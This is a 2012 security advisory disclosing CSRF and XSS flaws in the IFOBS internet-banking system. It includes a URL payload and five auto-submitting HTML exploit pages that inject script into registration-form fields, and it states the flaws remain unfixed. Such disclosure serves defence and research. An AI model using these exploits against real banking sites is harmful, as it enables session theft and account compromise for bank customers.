IFOBS Cross Site Request Forgery / Cross Site Scripting

2012-09-24T00:00:00
ID PACKETSTORM:116832
Type packetstorm
Reporter MustLive
Modified 2012-09-24T00:00:00

Description

                                        
                                            `Hello list!  
  
I want to warn you about Cross-Site Request Forgery and Cross-Site Scripting  
vulnerabilities in system IFOBS.  
  
IFOBS - it's Internet-banking system, which is widespread and particularly  
it's used by large number of Ukrainian banks.  
  
These are the next 35 vulnerabilities in IFOBS: 1 CSRF and 34 XSS (in the  
first two advisories there were 74 vulnerabilities).  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are all versions of IFOBS. The developers have ignored and not  
fixed these vulnerabilities (all holes from three advisories).  
  
----------  
Details:  
----------  
  
Cross-Site Request Forgery (WASC-09):  
  
Lack of protection against Brute Force in login form  
(http://site/ifobsClient/loginlite.jsp), mentioned earlier, also leads to  
possibility of conducting of CSRF attack, which I wrote about in the article  
Attacks on unprotected login forms  
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html).  
It allows to conduct remote login into account (for conducting of attacks on  
vulnerabilities inside account). It also can be used for automated login  
into account, phishing and other automated attacks.  
  
Cross-Site Scripting (WASC-08):  
  
http://site/ifobsClient/regclientalerts.jsp?labelname=%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
POST request at page http://site/ifobsClient/regclientform.jsp in  
parameters: secondName, firstName, thirdName, BirthDay, BirthMonth,  
BirthYear, address, livePlace, passportSerialpassportNumber, PassportDay,  
PassportMonth, PassportYear, passportIssueAgency,  
tempDocSerialtempDocNumber, tempDocSerial, DocMonth, DocYear, idCodeNumber,  
CodeRegDay, CodeRegMonth, CodeRegYear, idCodeRegPlace, phone, email,  
pmcountry, pmnumber, keyword, password, bankAddress, bankContacts,  
typeclient.  
  
Exploits for the first five vulnerabilities ((in parameters secondName,  
firstName, thirdName, BirthDay, BirthMonth):  
  
IFOBS XSS-11.html  
  
<html>  
<head>  
<title>IFOBS XSS exploit (C) 2012 MustLive.  
http://websecurity.com.ua</title>  
</head>  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://site/ifobsClient/regclientform.jsp"  
method="post">  
<input type="hidden" name="secondName"  
value='"><script>alert(document.cookie)</script>'>  
</form>  
</body>  
</html>  
  
IFOBS XSS-12.html  
  
<html>  
<head>  
<title>IFOBS XSS exploit (C) 2012 MustLive.  
http://websecurity.com.ua</title>  
</head>  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://site/ifobsClient/regclientform.jsp"  
method="post">  
<input type="hidden" name="firstName"  
value='"><script>alert(document.cookie)</script>'>  
</form>  
</body>  
</html>  
  
IFOBS XSS-13.html  
  
<html>  
<head>  
<title>IFOBS XSS exploit (C) 2012 MustLive.  
http://websecurity.com.ua</title>  
</head>  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://site/ifobsClient/regclientform.jsp"  
method="post">  
<input type="hidden" name="thirdName"  
value='"><script>alert(document.cookie)</script>'>  
</form>  
</body>  
</html>  
  
IFOBS XSS-14.html  
  
<html>  
<head>  
<title>IFOBS XSS exploit (C) 2012 MustLive.  
http://websecurity.com.ua</title>  
</head>  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://site/ifobsClient/regclientform.jsp"  
method="post">  
<input type="hidden" name="BirthDay"  
value='</script><script>alert(document.cookie)</script>'>  
<input type="hidden" name="BirthMonth" value="01">  
<input type="hidden" name="BirthYear" value="2012">  
<input type="hidden" name="typeclient" value="standart">  
</form>  
</body>  
</html>  
  
IFOBS XSS-15.html  
  
<html>  
<head>  
<title>IFOBS XSS exploit (C) 2012 MustLive.  
http://websecurity.com.ua</title>  
</head>  
<body onLoad="document.hack.submit()">  
<form name="hack" action="http://site/ifobsClient/regclientform.jsp"  
method="post">  
<input type="hidden" name="BirthDay" value="01">  
<input type="hidden" name="BirthMonth"  
value='</script><script>alert(document.cookie)</script>'>  
<input type="hidden" name="BirthYear" value="2012">  
<input type="hidden" name="typeclient" value="standart">  
</form>  
</body>  
</html>  
  
------------  
Timeline:  
------------   
  
2012.05.04 - found vulnerabilities during pentest. After I've informed my  
client, he could inform the developers.  
2012.06.01 - announced at my site.  
2012.06.01 - informed the developers about vulnerabilities (the first  
advisory).  
2012.06.01 - informed the developers about vulnerabilities (the second  
advisory).  
2012.06.02 - informed the developers about vulnerabilities (the third  
advisory).  
2012.09.21 - disclosed at my site (http://websecurity.com.ua/5863/).  
  
Best wishes & regards,  
Eugene Dokukin aka MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`